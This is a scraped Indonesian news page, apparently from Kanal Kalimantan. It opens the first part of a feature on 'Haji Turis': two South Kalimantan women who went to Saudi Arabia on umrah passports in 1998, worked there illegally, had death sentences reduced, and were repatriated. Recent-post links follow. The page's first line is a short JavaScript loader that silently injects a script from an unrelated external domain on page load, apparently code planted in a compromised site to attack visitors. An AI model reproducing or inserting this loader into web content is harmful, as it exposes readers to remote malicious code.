(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Balada Haji Turis Banua (1)


Dua Tenaga Kerja Indonesia (TKI) asal Kalsel yang tersandung kasus hukum di Arab Saudi berhasil dipulangkan Pemerintah RI. Sabtu (14/10) malam, kedua TKI yang sebelumnya sempat divonis hukuman mati karena kasus pembunuhan tersebut tiba di Banua. Kedua TKI itu; Aminah binti H Budi asal Kabupaten Tapin dan Darmawati binti Tarjani asal Kabupaten Banjar.

Keduanya merupakan TKI ilegal. Termasuk ilegal lantaran keduanya berangkat menggunakan paspor umrah ke Arab Saudi pada tahun 1998. Saat visa umrah berakhir, keduanya tak kembali ke tanah air dan memilih tetap tinggal di Arab Saudi untuk bekerja.

‘Haji Turis’, begitu sebutan lazim untuk TKI yang bekerja di luar jalur legal pemerintah ini.

Beberapa tahun bekerja di Arab Saudi, keduanya tersandung perkara hukum karena dituding membunuh majikan. Keduanya sempat divonis hukuman mati. Untungnya di tahun 2014, pemerintah Indonesia berhasil melobi dan membuat hukuman keduanya berkurang menjadi tiga tahun kurungan dan 300 kali cambuk.

Aminah dan Darmawati hanya contoh kecil warga Banua yang nekat menjadi TKI dengan modus ‘Haji Turis’. Istilah Haji Turis ini sendiri pernah tenar di kalangan warga Banua tempo dulu hingga era tahun 2000-an, dan tak sedikit warga Banua yang melakoninya.

Istilah Haji Turis disematkan untuk jemaah haji yang berangkat ke Timur Tengah di luar aturan pemerintah. Mereka umumnya berangkat menggunakan passport umroh dengan masa berlaku hanya satu bulan. Namun setelah umroh tunai, para jemaah tidak langsung pulang. Mereka sengaja bertahan di Arab Saudi menunggu musim haji tiba. Sembari itu, warga asal Banua bekerja di Arab Saudi. Menjadi pembantu rumah tangga dan supir, yang paling banyak dilakoni. Meski untuk itu, mereka harus kucing-kucingan dengan aparat kepolisian Arab Saudi.

Pengalaman kucing-kucingan dengan aparat kepolisian Arab Saudi selama menunggu proses pelaksanaan rukun dan syarat haji diungkapkan H Hilmani. Menurut warga Desa Sungai Rangas Martapura Barat, Kabupaten Banjar yang behaji turis pada tahun 1998 ini, selama menunggu pelaksanaan haji tiba,  ia dan beberapa warga lain ditampung di rumah majikan tempat orangtuanya bekerja.


Page: 1 2

Desy Arfianty

Recent Posts

Tugu Adipura Banjarbaru Layak Dipasang APILL, Tunggu Rekomendasi Resmi BPTD dan BPJN

KANALKALIMANTAN.COM, BANJARBARU - Ruas kawasan Tugu Adipura di Jalan Ahmad Yani Kota Banjarbaru, Kalimantan Selatan… Read More

13 jam ago

Kumpulkan Caleg Terpilih dan Pengurus DPD, PAN Kalsel ‘Panaskan Mesin’ Hadapi Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Pasca pelaksanaan Pemilu 2024, Dewan Pimpinan Wilayah (DPW) Partai Amanat Nasional (PAN)… Read More

15 jam ago

Silaturahmi Camat Lurah RT RW, Paman Birin Cerita Pernah Jadi Lurah dan Sekcam

KANALKALIMANTAN.COM, BANJARMASIN - Gubernur Kalimantan Selatan (Kalsel) H Sahbirin Noor bercerita perjalanan karirnya sebelum menjadi… Read More

18 jam ago

APILL Terpasang di Samsat Banjarbaru, Dua Jalan Jadi Perempatan

DPUPR Banjarbaru akan Bongkar Median Sepanjang 35 Meter Read More

18 jam ago

Chaos Banjarmasin di Atas Kanvas, Tragedi Kelam Jumat Kelabu 23 Mei 1997

“Setiap goresan kuas di lukisan ini, saya terbayang, merasakan terbawa kedalam suasana, di saat kerusuhan… Read More

22 jam ago

Perpisahan Siswa SMAN 1 Kapuas, Erlin Hardi : Belajar, Belajar, dan Belajar!

KANALKALIMANTAN.COM, KUALA KAPUAS - Pendidikan merupakan tolak ukur kemajuan suatu bangsa. Dengan pendidikan yang baik… Read More

23 jam ago

This website uses cookies.